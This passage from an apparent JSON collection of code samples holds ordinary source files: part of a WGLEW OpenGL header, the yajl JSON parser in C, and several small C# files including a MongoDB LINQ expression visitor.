PFNWGLGETCONTEXTGPUIDAMDPROC __wglewGetContextGPUIDAMD;\r\nWGLEW_EXPORT PFNWGLGETCURRENTASSOCIATEDCONTEXTAMDPROC __wglewGetCurrentAssociatedContextAMD;\r\nWGLEW_EXPORT PFNWGLGETGPUIDSAMDPROC __wglewGetGPUIDsAMD;\r\nWGLEW_EXPORT PFNWGLGETGPUINFOAMDPROC __wglewGetGPUInfoAMD;\r\nWGLEW_EXPORT PFNWGLMAKEASSOCIATEDCONTEXTCURRENTAMDPROC __wglewMakeAssociatedContextCurrentAMD;\r\n\r\nWGLEW_EXPORT PFNWGLCREATEBUFFERREGIONARBPROC __wglewCreateBufferRegionARB;\r\nWGLEW_EXPORT PFNWGLDELETEBUFFERREGIONARBPROC __wglewDeleteBufferRegionARB;\r\nWGLEW_EXPORT PFNWGLRESTOREBUFFERREGIONARBPROC __wglewRestoreBufferRegionARB;\r\nWGLEW_EXPORT PFNWGLSAVEBUFFERREGIONARBPROC __wglewSaveBufferRegionARB;\r\n\r\nWGLEW_EXPORT PFNWGLCREATECONTEXTATTRIBSARBPROC __wglewCreateContextAttribsARB;\r\n\r\nWGLEW_EXPORT PFNWGLGETEXTENSIONSSTRINGARBPROC __wglewGetExtensionsStringARB;\r\n\r\nWGLEW_EXPORT PFNWGLGETCURRENTREADDCARBPROC __wglewGetCurrentReadDCARB;\r\nWGLEW_EXPORT PFNWGLMAKECONTEXTCURRENTARBPROC __wglewMakeContextCurrentARB;\r\n\r\nWGLEW_EXPORT PFNWGLCREATEPBUFFERARBPROC __wglewCreatePbufferARB;\r\nWGLEW_EXPORT PFNWGLDESTROYPBUFFERARBPROC __wglewDestroyPbufferARB;\r\nWGLEW_EXPORT PFNWGLGETPBUFFERDCARBPROC __wglewGetPbufferDCARB;\r\nWGLEW_EXPORT PFNWGLQUERYPBUFFERARBPROC __wglewQueryPbufferARB;\r\nWGLEW_EXPORT PFNWGLRELEASEPBUFFERDCARBPROC __wglewReleasePbufferDCARB;\r\n\r\nWGLEW_EXPORT PFNWGLCHOOSEPIXELFORMATARBPROC __wglewChoosePixelFormatARB;\r\nWGLEW_EXPORT PFNWGLGETPIXELFORMATATTRIBFVARBPROC __wglewGetPixelFormatAttribfvARB;\r\nWGLEW_EXPORT PFNWGLGETPIXELFORMATATTRIBIVARBPROC __wglewGetPixelFormatAttribivARB;\r\n\r\nWGLEW_EXPORT PFNWGLBINDTEXIMAGEARBPROC __wglewBindTexImageARB;\r\nWGLEW_EXPORT PFNWGLRELEASETEXIMAGEARBPROC __wglewReleaseTexImageARB;\r\nWGLEW_EXPORT PFNWGLSETPBUFFERATTRIBARBPROC __wglewSetPbufferAttribARB;\r\n\r\nWGLEW_EXPORT PFNWGLBINDDISPLAYCOLORTABLEEXTPROC __wglewBindDisplayColorTableEXT;\r\nWGLEW_EXPORT PFNWGLCREATEDISPLAYCOLORTABLEEXTPROC __wglewCreateDisplayColorTableEXT;\r\nWGLEW_EXPORT PFNWGLDESTROYDISPLAYCOLORTABLEEXTPROC __wglewDestroyDisplayColorTableEXT;\r\nWGLEW_EXPORT PFNWGLLOADDISPLAYCOLORTABLEEXTPROC __wglewLoadDisplayColorTableEXT;\r\n\r\nWGLEW_EXPORT PFNWGLGETEXTENSIONSSTRINGEXTPROC __wglewGetExtensionsStringEXT;\r\n\r\nWGLEW_EXPORT PFNWGLGETCURRENTREADDCEXTPROC __wglewGetCurrentReadDCEXT;\r\nWGLEW_EXPORT PFNWGLMAKECONTEXTCURRENTEXTPROC __wglewMakeContextCurrentEXT;\r\n\r\nWGLEW_EXPORT PFNWGLCREATEPBUFFEREXTPROC __wglewCreatePbufferEXT;\r\nWGLEW_EXPORT PFNWGLDESTROYPBUFFEREXTPROC __wglewDestroyPbufferEXT;\r\nWGLEW_EXPORT PFNWGLGETPBUFFERDCEXTPROC __wglewGetPbufferDCEXT;\r\nWGLEW_EXPORT PFNWGLQUERYPBUFFEREXTPROC __wglewQueryPbufferEXT;\r\nWGLEW_EXPORT PFNWGLRELEASEPBUFFERDCEXTPROC __wglewReleasePbufferDCEXT;\r\n\r\nWGLEW_EXPORT PFNWGLCHOOSEPIXELFORMATEXTPROC __wglewChoosePixelFormatEXT;\r\nWGLEW_EXPORT PFNWGLGETPIXELFORMATATTRIBFVEXTPROC __wglewGetPixelFormatAttribfvEXT;\r\nWGLEW_EXPORT PFNWGLGETPIXELFORMATATTRIBIVEXTPROC __wglewGetPixelFormatAttribivEXT;\r\n\r\nWGLEW_EXPORT PFNWGLGETSWAPINTERVALEXTPROC __wglewGetSwapIntervalEXT;\r\nWGLEW_EXPORT PFNWGLSWAPINTERVALEXTPROC __wglewSwapIntervalEXT;\r\n\r\nWGLEW_EXPORT PFNWGLGETDIGITALVIDEOPARAMETERSI3DPROC __wglewGetDigitalVideoParametersI3D;\r\nWGLEW_EXPORT PFNWGLSETDIGITALVIDEOPARAMETERSI3DPROC __wglewSetDigitalVideoParametersI3D;\r\n\r\nWGLEW_EXPORT PFNWGLGETGAMMATABLEI3DPROC __wglewGetGammaTableI3D;\r\nWGLEW_EXPORT PFNWGLGETGAMMATABLEPARAMETERSI3DPROC __wglewGetGammaTableParametersI3D;\r\nWGLEW_EXPORT PFNWGLSETGAMMATABLEI3DPROC __wglewSetGammaTableI3D;\r\nWGLEW_EXPORT PFNWGLSETGAMMATABLEPARAMETERSI3DPROC __wglewSetGammaTableParametersI3D;\r\n\r\nWGLEW_EXPORT PFNWGLDISABLEGENLOCKI3DPROC __wglewDisableGenlockI3D;\r\nWGLEW_EXPORT PFNWGLENABLEGENLOCKI3DPROC __wglewEnableGenlockI3D;\r\nWGLEW_EXPORT PFNWGLGENLOCKSAMPLERATEI3DPROC __wglewGenlockSampleRateI3D;\r\nWGLEW_EXPORT PFNWGLGENLOCKSOURCEDELAYI3DPROC __wglewGenlockSourceDelayI3D;\r\nWGLEW_EXPORT PFNWGLGENLOCKSOURCEEDGEI3DPROC __wglewGenlockSourceEdgeI3D;\r\nWGLEW_EXPORT PFNWGLGENLOCKSOURCEI3DPROC __wglewGenlockSourceI3D;\r\nWGLEW_EXPORT PFNWGLGETGENLOCKSAMPLERATEI3DPROC __wglewGetGenlockSampleRateI3D;\r\nWGLEW_EXPORT PFNWGLGETGENLOCKSOURCEDELAYI3DPROC __wglewGetGenlockSourceDelayI3D;\r\nWGLEW_EXPORT PFNWGLGETGENLOCKSOURCEEDGEI3DPROC __wglewGetGenlockSourceEdgeI3D;\r\nWGLEW_EXPORT PFNWGLGETGENLOCKSOURCEI3DPROC __wglewGetGenlockSourceI3D;\r\nWGLEW_EXPORT PFNWGLISENABLEDGENLOCKI3DPROC __wglewIsEnabledGenlockI3D;\r\nWGLEW_EXPORT PFNWGLQUERYGENLOCKMAXSOURCEDELAYI3DPROC __wglewQueryGenlockMaxSourceDelayI3D;\r\n\r\nWGLEW_EXPORT PFNWGLASSOCIATEIMAGEBUFFEREVENTSI3DPROC __wglewAssociateImageBufferEventsI3D;\r\nWGLEW_EXPORT PFNWGLCREATEIMAGEBUFFERI3DPROC __wglewCreateImageBufferI3D;\r\nWGLEW_EXPORT PFNWGLDESTROYIMAGEBUFFERI3DPROC __wglewDestroyImageBufferI3D;\r\nWGLEW_EXPORT PFNWGLRELEASEIMAGEBUFFEREVENTSI3DPROC __wglewReleaseImageBufferEventsI3D;\r\n\r\nWGLEW_EXPORT PFNWGLDISABLEFRAMELOCKI3DPROC __wglewDisableFrameLockI3D;\r\nWGLEW_EXPORT PFNWGLENABLEFRAMELOCKI3DPROC __wglewEnableFrameLockI3D;\r\nWGLEW_EXPORT PFNWGLISENABLEDFRAMELOCKI3DPROC __wglewIsEnabledFrameLockI3D;\r\nWGLEW_EXPORT PFNWGLQUERYFRAMELOCKMASTERI3DPROC __wglewQueryFrameLockMasterI3D;\r\n\r\nWGLEW_EXPORT PFNWGLBEGINFRAMETRACKINGI3DPROC __wglewBeginFrameTrackingI3D;\r\nWGLEW_EXPORT PFNWGLENDFRAMETRACKINGI3DPROC __wglewEndFrameTrackingI3D;\r\nWGLEW_EXPORT PFNWGLGETFRAMEUSAGEI3DPROC __wglewGetFrameUsageI3D;\r\nWGLEW_EXPORT PFNWGLQUERYFRAMETRACKINGI3DPROC __wglewQueryFrameTrackingI3D;\r\n\r\nWGLEW_EXPORT PFNWGLDXCLOSEDEVICENVPROC __wglewDXCloseDeviceNV;\r\nWGLEW_EXPORT PFNWGLDXLOCKOBJECTSNVPROC __wglewDXLockObjectsNV;\r\nWGLEW_EXPORT PFNWGLDXOBJECTACCESSNVPROC __wglewDXObjectAccessNV;\r\nWGLEW_EXPORT PFNWGLDXOPENDEVICENVPROC __wglewDXOpenDeviceNV;\r\nWGLEW_EXPORT PFNWGLDXREGISTEROBJECTNVPROC __wglewDXRegisterObjectNV;\r\nWGLEW_EXPORT PFNWGLDXSETRESOURCESHAREHANDLENVPROC __wglewDXSetResourceShareHandleNV;\r\nWGLEW_EXPORT PFNWGLDXUNLOCKOBJECTSNVPROC __wglewDXUnlockObjectsNV;\r\nWGLEW_EXPORT PFNWGLDXUNREGISTEROBJECTNVPROC __wglewDXUnregisterObjectNV;\r\n\r\nWGLEW_EXPORT PFNWGLCOPYIMAGESUBDATANVPROC __wglewCopyImageSubDataNV;\r\n\r\nWGLEW_EXPORT PFNWGLCREATEAFFINITYDCNVPROC __wglewCreateAffinityDCNV;\r\nWGLEW_EXPORT PFNWGLDELETEDCNVPROC __wglewDeleteDCNV;\r\nWGLEW_EXPORT PFNWGLENUMGPUDEVICESNVPROC __wglewEnumGpuDevicesNV;\r\nWGLEW_EXPORT PFNWGLENUMGPUSFROMAFFINITYDCNVPROC __wglewEnumGpusFromAffinityDCNV;\r\nWGLEW_EXPORT PFNWGLENUMGPUSNVPROC __wglewEnumGpusNV;\r\n\r\nWGLEW_EXPORT PFNWGLBINDVIDEODEVICENVPROC __wglewBindVideoDeviceNV;\r\nWGLEW_EXPORT PFNWGLENUMERATEVIDEODEVICESNVPROC __wglewEnumerateVideoDevicesNV;\r\nWGLEW_EXPORT PFNWGLQUERYCURRENTCONTEXTNVPROC __wglewQueryCurrentContextNV;\r\n\r\nWGLEW_EXPORT PFNWGLBINDSWAPBARRIERNVPROC __wglewBindSwapBarrierNV;\r\nWGLEW_EXPORT PFNWGLJOINSWAPGROUPNVPROC __wglewJoinSwapGroupNV;\r\nWGLEW_EXPORT PFNWGLQUERYFRAMECOUNTNVPROC __wglewQueryFrameCountNV;\r\nWGLEW_EXPORT PFNWGLQUERYMAXSWAPGROUPSNVPROC __wglewQueryMaxSwapGroupsNV;\r\nWGLEW_EXPORT PFNWGLQUERYSWAPGROUPNVPROC __wglewQuerySwapGroupNV;\r\nWGLEW_EXPORT PFNWGLRESETFRAMECOUNTNVPROC __wglewResetFrameCountNV;\r\n\r\nWGLEW_EXPORT PFNWGLALLOCATEMEMORYNVPROC __wglewAllocateMemoryNV;\r\nWGLEW_EXPORT PFNWGLFREEMEMORYNVPROC __wglewFreeMemoryNV;\r\n\r\nWGLEW_EXPORT PFNWGLBINDVIDEOCAPTUREDEVICENVPROC __wglewBindVideoCaptureDeviceNV;\r\nWGLEW_EXPORT PFNWGLENUMERATEVIDEOCAPTUREDEVICESNVPROC __wglewEnumerateVideoCaptureDevicesNV;\r\nWGLEW_EXPORT PFNWGLLOCKVIDEOCAPTUREDEVICENVPROC __wglewLockVideoCaptureDeviceNV;\r\nWGLEW_EXPORT PFNWGLQUERYVIDEOCAPTUREDEVICENVPROC __wglewQueryVideoCaptureDeviceNV;\r\nWGLEW_EXPORT PFNWGLRELEASEVIDEOCAPTUREDEVICENVPROC __wglewReleaseVideoCaptureDeviceNV;\r\n\r\nWGLEW_EXPORT PFNWGLBINDVIDEOIMAGENVPROC __wglewBindVideoImageNV;\r\nWGLEW_EXPORT PFNWGLGETVIDEODEVICENVPROC __wglewGetVideoDeviceNV;\r\nWGLEW_EXPORT PFNWGLGETVIDEOINFONVPROC __wglewGetVideoInfoNV;\r\nWGLEW_EXPORT PFNWGLRELEASEVIDEODEVICENVPROC __wglewReleaseVideoDeviceNV;\r\nWGLEW_EXPORT PFNWGLRELEASEVIDEOIMAGENVPROC __wglewReleaseVideoImageNV;\r\nWGLEW_EXPORT PFNWGLSENDPBUFFERTOVIDEONVPROC __wglewSendPbufferToVideoNV;\r\n\r\nWGLEW_EXPORT PFNWGLGETMSCRATEOMLPROC __wglewGetMscRateOML;\r\nWGLEW_EXPORT PFNWGLGETSYNCVALUESOMLPROC __wglewGetSyncValuesOML;\r\nWGLEW_EXPORT PFNWGLSWAPBUFFERSMSCOMLPROC __wglewSwapBuffersMscOML;\r\nWGLEW_EXPORT PFNWGLSWAPLAYERBUFFERSMSCOMLPROC __wglewSwapLayerBuffersMscOML;\r\nWGLEW_EXPORT PFNWGLWAITFORMSCOMLPROC __wglewWaitForMscOML;\r\nWGLEW_EXPORT PFNWGLWAITFORSBCOMLPROC __wglewWaitForSbcOML;\r\nWGLEW_EXPORT GLboolean __WGLEW_3DFX_multisample;\r\nWGLEW_EXPORT GLboolean __WGLEW_3DL_stereo_control;\r\nWGLEW_EXPORT GLboolean __WGLEW_AMD_gpu_association;\r\nWGLEW_EXPORT GLboolean __WGLEW_ARB_buffer_region;\r\nWGLEW_EXPORT GLboolean __WGLEW_ARB_create_context;\r\nWGLEW_EXPORT GLboolean __WGLEW_ARB_create_context_profile;\r\nWGLEW_EXPORT GLboolean __WGLEW_ARB_create_context_robustness;\r\nWGLEW_EXPORT GLboolean __WGLEW_ARB_extensions_string;\r\nWGLEW_EXPORT GLboolean __WGLEW_ARB_framebuffer_sRGB;\r\nWGLEW_EXPORT GLboolean __WGLEW_ARB_make_current_read;\r\nWGLEW_EXPORT GLboolean __WGLEW_ARB_multisample;\r\nWGLEW_EXPORT GLboolean __WGLEW_ARB_pbuffer;\r\nWGLEW_EXPORT GLboolean __WGLEW_ARB_pixel_format;\r\nWGLEW_EXPORT GLboolean __WGLEW_ARB_pixel_format_float;\r\nWGLEW_EXPORT GLboolean __WGLEW_ARB_render_texture;\r\nWGLEW_EXPORT GLboolean __WGLEW_ATI_pixel_format_float;\r\nWGLEW_EXPORT GLboolean __WGLEW_ATI_render_texture_rectangle;\r\nWGLEW_EXPORT GLboolean __WGLEW_EXT_create_context_es2_profile;\r\nWGLEW_EXPORT GLboolean __WGLEW_EXT_depth_float;\r\nWGLEW_EXPORT GLboolean __WGLEW_EXT_display_color_table;\r\nWGLEW_EXPORT GLboolean __WGLEW_EXT_extensions_string;\r\nWGLEW_EXPORT GLboolean __WGLEW_EXT_framebuffer_sRGB;\r\nWGLEW_EXPORT GLboolean __WGLEW_EXT_make_current_read;\r\nWGLEW_EXPORT GLboolean __WGLEW_EXT_multisample;\r\nWGLEW_EXPORT GLboolean __WGLEW_EXT_pbuffer;\r\nWGLEW_EXPORT GLboolean __WGLEW_EXT_pixel_format;\r\nWGLEW_EXPORT GLboolean __WGLEW_EXT_pixel_format_packed_float;\r\nWGLEW_EXPORT GLboolean __WGLEW_EXT_swap_control;\r\nWGLEW_EXPORT GLboolean __WGLEW_I3D_digital_video_control;\r\nWGLEW_EXPORT GLboolean __WGLEW_I3D_gamma;\r\nWGLEW_EXPORT GLboolean __WGLEW_I3D_genlock;\r\nWGLEW_EXPORT GLboolean __WGLEW_I3D_image_buffer;\r\nWGLEW_EXPORT GLboolean __WGLEW_I3D_swap_frame_lock;\r\nWGLEW_EXPORT GLboolean __WGLEW_I3D_swap_frame_usage;\r\nWGLEW_EXPORT GLboolean __WGLEW_NV_DX_interop;\r\nWGLEW_EXPORT GLboolean __WGLEW_NV_copy_image;\r\nWGLEW_EXPORT GLboolean __WGLEW_NV_float_buffer;\r\nWGLEW_EXPORT GLboolean __WGLEW_NV_gpu_affinity;\r\nWGLEW_EXPORT GLboolean __WGLEW_NV_multisample_coverage;\r\nWGLEW_EXPORT GLboolean __WGLEW_NV_present_video;\r\nWGLEW_EXPORT GLboolean __WGLEW_NV_render_depth_texture;\r\nWGLEW_EXPORT GLboolean __WGLEW_NV_render_texture_rectangle;\r\nWGLEW_EXPORT GLboolean __WGLEW_NV_swap_group;\r\nWGLEW_EXPORT GLboolean __WGLEW_NV_vertex_array_range;\r\nWGLEW_EXPORT GLboolean __WGLEW_NV_video_capture;\r\nWGLEW_EXPORT GLboolean __WGLEW_NV_video_output;\r\nWGLEW_EXPORT GLboolean __WGLEW_OML_sync_control;\r\n\r\n#ifdef GLEW_MX\r\n}; /* WGLEWContextStruct */\r\n#endif /* GLEW_MX */\r\n\r\n/* ------------------------------------------------------------------------- */\r\n\r\n#ifdef GLEW_MX\r\n\r\ntypedef struct WGLEWContextStruct WGLEWContext;\r\nGLEWAPI GLenum wglewContextInit (WGLEWContext* ctx);\r\nGLEWAPI GLboolean wglewContextIsSupported (const WGLEWContext* ctx, const char* name);\r\n\r\n#define wglewInit() wglewContextInit(wglewGetContext())\r\n#define wglewIsSupported(x) wglewContextIsSupported(wglewGetContext(), x)\r\n\r\n#define WGLEW_GET_VAR(x) (*(const GLboolean*)&(wglewGetContext()->x))\r\n#define WGLEW_GET_FUN(x) wglewGetContext()->x\r\n\r\n#else /* GLEW_MX */\r\n\r\n#define WGLEW_GET_VAR(x) (*(const GLboolean*)&x)\r\n#define WGLEW_GET_FUN(x) x\r\n\r\nGLEWAPI GLboolean wglewIsSupported (const char* name);\r\n\r\n#endif /* GLEW_MX */\r\n\r\nGLEWAPI GLboolean wglewGetExtension (const char* name);\r\n\r\n#ifdef __cplusplus\r\n}\r\n#endif\r\n\r\n#undef GLEWAPI\r\n\r\n#endif /* __wglew_h__ */\r\n"
  },
  {
    "path": "samples/C/yajl.c",
    "content": "/*\n * Copyright 2010, Lloyd Hilaiel.\n * \n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met:\n * \n *  1. Redistributions of source code must retain the above copyright\n *     notice, this list of conditions and the following disclaimer.\n * \n *  2. Redistributions in binary form must reproduce the above copyright\n *     notice, this list of conditions and the following disclaimer in\n *     the documentation and/or other materials provided with the\n *     distribution.\n * \n *  3. Neither the name of Lloyd Hilaiel nor the names of its\n *     contributors may be used to endorse or promote products derived\n *     from this software without specific prior written permission.\n * \n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR\n * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,\n * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,\n * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING\n * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n */ \n\n#include \"api/yajl_parse.h\"\n#include \"yajl_lex.h\"\n#include \"yajl_parser.h\"\n#include \"yajl_alloc.h\"\n\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\nconst char *\nyajl_status_to_string(yajl_status stat)\n{\n    const char * statStr = \"unknown\";\n    switch (stat) {\n        case yajl_status_ok:\n            statStr = \"ok, no error\";\n            break;\n        case yajl_status_client_canceled:\n            statStr = \"client canceled parse\";\n            break;\n        case yajl_status_insufficient_data:\n            statStr = \"eof was met before the parse could complete\";\n            break;\n        case yajl_status_error:\n            statStr = \"parse error\";\n            break;\n    }\n    return statStr;\n}\n\nyajl_handle\nyajl_alloc(const yajl_callbacks * callbacks,\n           const yajl_parser_config * config,\n           const yajl_alloc_funcs * afs,\n           void * ctx)\n{\n    unsigned int allowComments = 0;\n    unsigned int validateUTF8 = 0;\n    yajl_handle hand = NULL;\n    yajl_alloc_funcs afsBuffer;\n    \n    /* first order of business is to set up memory allocation routines */\n    if (afs != NULL) {\n        if (afs->malloc == NULL || afs->realloc == NULL || afs->free == NULL)\n        {\n            return NULL;\n        }\n    } else {\n        yajl_set_default_alloc_funcs(&afsBuffer);\n        afs = &afsBuffer;\n    }\n\n    hand = (yajl_handle) YA_MALLOC(afs, sizeof(struct yajl_handle_t));\n\n    /* copy in pointers to allocation routines */\n    memcpy((void *) &(hand->alloc), (void *) afs, sizeof(yajl_alloc_funcs));\n\n    if (config != NULL) {\n        allowComments = config->allowComments;\n        validateUTF8 = config->checkUTF8;\n    }\n\n    hand->callbacks = callbacks;\n    hand->ctx = ctx;\n    hand->lexer = yajl_lex_alloc(&(hand->alloc), allowComments, validateUTF8);\n    hand->bytesConsumed = 0;\n    hand->decodeBuf = yajl_buf_alloc(&(hand->alloc));\n    yajl_bs_init(hand->stateStack, &(hand->alloc));\n\n    yajl_bs_push(hand->stateStack, yajl_state_start);    \n\n    return hand;\n}\n\nvoid\nyajl_reset_parser(yajl_handle hand) {\n    hand->lexer = yajl_lex_realloc(hand->lexer);\n}\n\nvoid\nyajl_free(yajl_handle handle)\n{\n    yajl_bs_free(handle->stateStack);\n    yajl_buf_free(handle->decodeBuf);\n    yajl_lex_free(handle->lexer);\n    YA_FREE(&(handle->alloc), handle);\n}\n\nyajl_status\nyajl_parse(yajl_handle hand, const unsigned char * jsonText,\n           unsigned int jsonTextLen)\n{\n    yajl_status status;\n    status = yajl_do_parse(hand, jsonText, jsonTextLen);\n    return status;\n}\n\nyajl_status\nyajl_parse_complete(yajl_handle hand)\n{\n    /* The particular case we want to handle is a trailing number.\n     * Further input consisting of digits could cause our interpretation\n     * of the number to change (buffered \"1\" but \"2\" comes in).\n     * A very simple approach to this is to inject whitespace to terminate\n     * any number in the lex buffer.\n     */\n    return yajl_parse(hand, (const unsigned char *)\" \", 1);\n}\n\nunsigned char *\nyajl_get_error(yajl_handle hand, int verbose,\n               const unsigned char * jsonText, unsigned int jsonTextLen)\n{\n    return yajl_render_error_string(hand, jsonText, jsonTextLen, verbose);\n}\n\nunsigned int\nyajl_get_bytes_consumed(yajl_handle hand)\n{\n    if (!hand) return 0;\n    else return hand->bytesConsumed;\n}\n\n\nvoid\nyajl_free_error(yajl_handle hand, unsigned char * str)\n{\n    /* use memory allocation functions if set */\n    YA_FREE(&(hand->alloc), str);\n}\n\n/* XXX: add utility routines to parse from file */\n"
  },
  {
    "path": "samples/C#/AssemblyInfo.cs",
    "content": "using System.Reflection;\nusing System.Runtime.CompilerServices;\n\n// Information about this assembly is defined by the following attributes. \n// Change them to the values specific to your project.\n\n[assembly: AssemblyTitle(\"Simple\")]\n[assembly: AssemblyDescription(\"\")]\n[assembly: AssemblyConfiguration(\"\")]\n[assembly: AssemblyCompany(\"\")]\n[assembly: AssemblyProduct(\"\")]\n[assembly: AssemblyCopyright(\"\")]\n[assembly: AssemblyTrademark(\"\")]\n[assembly: AssemblyCulture(\"\")]\n\n// The assembly version has the format \"{Major}.{Minor}.{Build}.{Revision}\".\n// The form \"{Major}.{Minor}.*\" will automatically update the build and revision,\n// and \"{Major}.{Minor}.{Build}.*\" will update just the revision.\n\n[assembly: AssemblyVersion(\"1.0.*\")]\n\n// The following attributes are used to specify the signing key for the assembly, \n// if desired. See the Mono documentation for more information about signing.\n\n//[assembly: AssemblyDelaySign(false)]\n//[assembly: AssemblyKeyFile(\"\")]\n"
  },
  {
    "path": "samples/C#/BsonPropertyValue.cs",
    "content": "﻿using System;\r\n\r\nnamespace MongoDB.Serialization.Descriptors\r\n{\r\n    internal class BsonPropertyValue\r\n    {\r\n        public bool IsDictionary { get; private set; }\r\n\r\n        public Type Type { get; private set; }\r\n\r\n        public object Value { get; private set; }\r\n\r\n        public BsonPropertyValue(Type type, object value, bool isDictionary)\r\n        {\r\n            Type = type;\r\n            Value = value;\r\n            IsDictionary = isDictionary;\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "samples/C#/FileScopedNamespace.cs",
    "content": "namespace SampleNamespace;\n\nclass AnotherSampleClass\n{\n    public void AnotherSampleMethod()\n    {\n        System.Console.WriteLine(\n            \"SampleMethod inside SampleNamespace\");\n    }\n}\n"
  },
  {
    "path": "samples/C#/MongoExpressionVisitor.cs",
    "content": "﻿using System.Collections.Generic;\r\nusing System.Collections.ObjectModel;\r\nusing System.Linq;\r\nusing System.Linq.Expressions;\r\n\r\nnamespace MongoDB.Linq.Expressions\r\n{\r\n    internal class MongoExpressionVisitor : ExpressionVisitor\r\n    {\r\n        protected override Expression Visit(Expression exp)\r\n        {\r\n            if (exp == null)\r\n                return null;\r\n            switch ((MongoExpressionType)exp.NodeType)\r\n            {\r\n                case MongoExpressionType.Collection:\r\n                    return VisitCollection((CollectionExpression)exp);\r\n                case MongoExpressionType.Field:\r\n                    return VisitField((FieldExpression)exp);\r\n                case MongoExpressionType.Projection:\r\n                    return VisitProjection((ProjectionExpression)exp);\r\n                case MongoExpressionType.Select:\r\n                    return VisitSelect((SelectExpression)exp);\r\n                case MongoExpressionType.Aggregate:\r\n                    return VisitAggregate((AggregateExpression)exp);\r\n                case MongoExpressionType.AggregateSubquery:\r\n                    return VisitAggregateSubquery((AggregateSubqueryExpression)exp);\r\n                case MongoExpressionType.Scalar:\r\n                    return VisitScalar((ScalarExpression)exp);\r\n                default:\r\n                    return base.Visit(exp);\r\n            }\r\n        }\r\n\r\n        protected virtual Expression VisitAggregate(AggregateExpression aggregate)\r\n        {\r\n            var exp = Visit(aggregate.Argument);\r\n            if (exp != aggregate.Argument)\r\n                return new AggregateExpression(aggregate.Type, aggregate.AggregateType, exp, aggregate.Distinct);\r\n\r\n            return aggregate;\r\n        }\r\n\r\n        protected virtual Expression VisitAggregateSubquery(AggregateSubqueryExpression aggregateSubquery)\r\n        {\r\n            Expression e = Visit(aggregateSubquery.AggregateAsSubquery);\r\n            ScalarExpression subquery = (ScalarExpression)e;\r\n            if (subquery != aggregateSubquery.AggregateAsSubquery)\r\n                return new AggregateSubqueryExpression(aggregateSubquery.GroupByAlias, aggregateSubquery.AggregateInGroupSelect, subquery);\r\n            return aggregateSubquery;\r\n        }\r\n\r\n        protected virtual Expression VisitCollection(CollectionExpression collection)\r\n        {\r\n            return collection;\r\n        }\r\n\r\n        protected virtual Expression VisitField(FieldExpression field)\r\n        {\r\n            var e = Visit(field.Expression);\r\n            if (field.Expression != e)\r\n                field = new FieldExpression(e, field.Alias, field.Name);\r\n\r\n            return field;\r\n        }\r\n\r\n        protected virtual Expression VisitProjection(ProjectionExpression projection)\r\n        {\r\n            var source = (SelectExpression)Visit(projection.Source);\r\n            var projector = Visit(projection.Projector);\r\n            if (source != projection.Source || projector != projection.Projector)\r\n                return new ProjectionExpression(source, projector, projection.Aggregator);\r\n            return projection;\r\n        }\r\n\r\n        protected ReadOnlyCollection<OrderExpression> VisitOrderBy(ReadOnlyCollection<OrderExpression> orderBys)\r\n        {\r\n            if (orderBys != null) \r\n            {\r\n                List<OrderExpression> alternate = null;\r\n                for (int i = 0, n = orderBys.Count; i < n; i++) \r\n                {\r\n                    OrderExpression expr = orderBys[i];\r\n                    Expression e = this.Visit(expr.Expression);\r\n                    if (alternate == null && e != expr.Expression) \r\n                        alternate = orderBys.Take(i).ToList();\r\n                    if (alternate != null) \r\n                        alternate.Add(new OrderExpression(expr.OrderType, e));\r\n                }\r\n                if (alternate != null) \r\n                    return alternate.AsReadOnly();\r\n            }\r\n            return orderBys;\r\n        }\r\n\r\n        protected virtual Expression VisitScalar(ScalarExpression scalar)\r\n        {\r\n            SelectExpression select = (SelectExpression)Visit(scalar.Select);\r\n            if (select != scalar.Select)\r\n                return new ScalarExpression(scalar.Type, select);\r\n            return scalar;\r\n        }\r\n\r\n        protected virtual Expression VisitSelect(SelectExpression select)\r\n        {\r\n            var from = VisitSource(select.From);\r\n            var where = Visit(select.Where);\r\n            var groupBy = Visit(select.GroupBy);\r\n            var orderBy = VisitOrderBy(select.OrderBy);\r\n            var skip = Visit(select.Skip);\r\n            var take = Visit(select.Take);\r\n            var fields = VisitFieldDeclarationList(select.Fields);\r\n            if (from != select.From || where != select.Where || orderBy != select.OrderBy || groupBy != select.GroupBy || skip != select.Skip || take != select.Take || fields != select.Fields)\r\n                return new SelectExpression(select.Alias, fields, from, where, orderBy, groupBy, select.IsDistinct, skip, take);\r\n            return select;\r\n        }\r\n\r\n        protected virtual Expression VisitSource(Expression source)\r\n        {\r\n            return Visit(source);\r\n        }\r\n\r\n        protected virtual Expression VisitSubquery(SubqueryExpression subquery)\r\n        {\r\n            switch ((MongoExpressionType)subquery.NodeType)\r\n            {\r\n                case MongoExpressionType.Scalar:\r\n                    return VisitScalar((ScalarExpression)subquery);\r\n            }\r\n            return subquery;\r\n        }\r\n\r\n        protected virtual ReadOnlyCollection<FieldDeclaration> VisitFieldDeclarationList(ReadOnlyCollection<FieldDeclaration> fields)\r\n        {\r\n            if (fields == null)\r\n                return fields;\r\n\r\n            List<FieldDeclaration> alternate = null;\r\n            for (int i = 0, n = fields.Count; i < n; i++)\r\n            {\r\n                var f = fields[i];\r\n                var e = Visit(f.Expression);\r\n                if (f.Expression != e && alternate == null)\r\n                    alternate = fields.Take(i).ToList();\r\n                if (alternate != null)\r\n                    alternate.Add(new FieldDeclaration(f.Name, e));\r\n            }\r\n            if (alternate != null)\r\n                return alternate.AsReadOnly();\r\n            return fields;\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "samples/C#/Program.cs",
